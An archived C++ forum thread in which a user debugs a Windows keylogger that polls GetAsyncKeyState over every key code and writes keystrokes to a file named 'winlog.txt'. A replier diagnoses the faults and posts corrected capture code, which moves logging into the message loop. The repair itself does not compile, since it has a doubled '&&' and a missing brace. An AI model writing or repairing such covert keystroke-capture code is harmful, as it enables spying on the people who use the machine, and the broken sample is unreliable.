when i run this code, the code keeps logging every key even i dont press it

char keypress;
std::string keystroke()
{
std::ofstream key;
key.open("winlog.txt");
for(keypress=3; keypress<= 222; keypress++)
{
if(GetAsyncKeyState(keypress)== -32767)
{
key<<"keypress";

}
else if(GetAsyncKeyState(keypress)==0x30)
{
key<<"[0]";
}
else if(keypress==0x31)
{
key<<"[1]";
}
else if(keypress==0x32)
{
key<<"[2]";
}
else if(keypress==0x33)
{
key<<"[3]";
}
else if (keypress==0x34)
{
key<<"[4]";
}


}

}


int main()
{
keystroke();
MSG msg;
while(GetMessage(&msg, NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}


return 0;
}

when i run this code, the log file always contain keys i didnt press, it does the logging continuously... can someone explain why it is like that.... thanks in advance
Last edited on

you call keystroke outside of the message loop, so it will only be called once at the start of your program. All of the logging is happening in this one call, all of the lines that say else if(keypress==??) will be true on at least one pass though the loop because you haven't checked the state beforehand. when keypress=1,2,3 or 4 you just write it out.

-32767 will never be the value, it is just the value of the bit you need to test. when working with bits, use hexadecimal so you can see the bit pattern 0x8000.

Also, you should only call GetAsyncKeyState() once for each key, it can return different values if you call it again.

From the Windows DevCentre
Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.


and lastly,
with that in mind...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void keystroke()                // this can be void, it doesn't return anything
{
    int key = 0;
    std::ofstream keys; //   <--- new name here
    keys.open("winlog.txt");

    for(key=3; key<= 222; key++)
    {        
        int keyState = GetAsyncKeyState(key);  // what state is this key in?
        bool isDown = keyState & 0x8000;         // is most significant bit set?
        bool isRecent = keyState & 0x0001;       // is least significant bit set?

        if (key >= 0x30 && && key<=0x39)       // is it 0..9?
        {
            if (isDown)                                        // was it down?
            {
                  keys <<"[" << key << "]";          // log it baby.
            }
        }

}



oops, i forgot main()
1
2
3
4
5
6
7
8
9
10
11
int main()
{
    MSG msg;
    while(GetMessage(&msg, NULL,0,0))
    {
        keystroke();
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    } 
    return 0;
}
Last edited on
Topic archived. No new replies allowed.